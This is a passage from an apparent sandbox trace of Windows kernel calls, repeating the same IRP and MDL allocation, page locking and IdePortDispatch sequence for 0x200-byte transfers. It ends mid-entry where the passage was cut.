[0057.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.250] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.250] IdePortDispatch () returned 0x103 [0057.250] KeWaitForMutexObject () returned 0x0 [0057.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.250] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.250] IdePortDispatch () returned 0x103 [0057.251] KeWaitForMutexObject () returned 0x0 [0057.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.251] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.251] IdePortDispatch () returned 0x103 [0057.251] KeWaitForMutexObject () returned 0x0 [0057.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.251] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.251] IdePortDispatch () returned 0x103 [0057.251] KeWaitForMutexObject () returned 0x0 [0057.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.251] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.251] IdePortDispatch () returned 0x103 [0057.252] KeWaitForMutexObject () returned 0x0 [0057.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.252] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.252] IdePortDispatch () returned 0x103 [0057.252] KeWaitForMutexObject () returned 0x0 [0057.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.252] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.252] IdePortDispatch () returned 0x103 [0057.252] KeWaitForMutexObject () returned 0x0 [0057.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.252] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.252] IdePortDispatch () returned 0x103 [0057.253] KeWaitForMutexObject () returned 0x0 [0057.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.253] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.253] IdePortDispatch () returned 0x103 [0057.253] KeWaitForMutexObject () returned 0x0 [0057.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.253] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.253] IdePortDispatch () returned 0x103 [0057.253] KeWaitForMutexObject () returned 0x0 [0057.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.253] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.253] IdePortDispatch () returned 0x103 [0057.254] KeWaitForMutexObject () returned 0x0 [0057.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.254] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.254] IdePortDispatch () returned 0x103 [0057.254] KeWaitForMutexObject () returned 0x0 [0057.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.254] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.254] IdePortDispatch () returned 0x103 [0057.254] KeWaitForMutexObject () returned 0x0 [0057.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.254] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.254] IdePortDispatch () returned 0x103 [0057.255] KeWaitForMutexObject () returned 0x0 [0057.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.255] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.255] IdePortDispatch () returned 0x103 [0057.255] KeWaitForMutexObject () returned 0x0 [0057.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.255] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.255] IdePortDispatch () returned 0x103 [0057.255] KeWaitForMutexObject () returned 0x0 [0057.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.255] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.255] IdePortDispatch () returned 0x103 [0057.255] KeWaitForMutexObject () returned 0x0 [0057.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.256] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.256] IdePortDispatch () returned 0x103 [0057.256] KeWaitForMutexObject () returned 0x0 [0057.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.256] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.256] IdePortDispatch () returned 0x103 [0057.256] KeWaitForMutexObject () returned 0x0 [0057.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.256] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.256] IdePortDispatch () returned 0x103 [0057.256] KeWaitForMutexObject () returned 0x0 [0057.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.257] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.257] IdePortDispatch () returned 0x103 [0057.257] KeWaitForMutexObject () returned 0x0 [0057.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.257] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.257] IdePortDispatch () returned 0x103 [0057.257] KeWaitForMutexObject () returned 0x0 [0057.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.257] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.257] IdePortDispatch () returned 0x103 [0057.258] KeWaitForMutexObject () returned 0x0 [0057.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.258] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.258] IdePortDispatch () returned 0x103 [0057.258] KeWaitForMutexObject () returned 0x0 [0057.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.258] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.258] IdePortDispatch () returned 0x103 [0057.258] KeWaitForMutexObject () returned 0x0 [0057.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.259] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.259] IdePortDispatch () returned 0x103 [0057.259] KeWaitForMutexObject () returned 0x0 [0057.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.259] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.259] IdePortDispatch () returned 0x103 [0057.259] KeWaitForMutexObject () returned 0x0 [0057.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.259] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.259] IdePortDispatch () returned 0x103 [0057.260] KeWaitForMutexObject () returned 0x0 [0057.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.260] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.260] IdePortDispatch () returned 0x103 [0057.260] KeWaitForMutexObject () returned 0x0 [0057.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.260] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.260] IdePortDispatch () returned 0x103 [0057.260] KeWaitForMutexObject () returned 0x0 [0057.260] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.260] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.260] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.260] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.260] IdePortDispatch () returned 0x103 [0057.260] KeWaitForMutexObject () returned 0x0 [0057.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.261] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.261] IdePortDispatch () returned 0x103 [0057.261] KeWaitForMutexObject () returned 0x0 [0057.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.261] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.261] IdePortDispatch () returned 0x103 [0057.261] KeWaitForMutexObject () returned 0x0 [0057.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.261] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.262] IdePortDispatch () returned 0x103 [0057.262] KeWaitForMutexObject () returned 0x0 [0057.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.262] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.262] IdePortDispatch () returned 0x103 [0057.262] KeWaitForMutexObject () returned 0x0 [0057.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.262] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.262] IdePortDispatch () returned 0x103 [0057.262] KeWaitForMutexObject () returned 0x0 [0057.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.263] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.263] IdePortDispatch () returned 0x103 [0057.263] KeWaitForMutexObject () returned 0x0 [0057.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.263] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.263] IdePortDispatch () returned 0x103 [0057.263] KeWaitForMutexObject () returned 0x0 [0057.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.263] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.263] IdePortDispatch () returned 0x103 [0057.264] KeWaitForMutexObject () returned 0x0 [0057.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.264] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.264] IdePortDispatch () returned 0x103 [0057.264] KeWaitForMutexObject () returned 0x0 [0057.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.264] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.264] IdePortDispatch () returned 0x103 [0057.264] KeWaitForMutexObject () returned 0x0 [0057.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.264] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.264] IdePortDispatch () returned 0x103 [0057.264] KeWaitForMutexObject () returned 0x0 [0057.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, 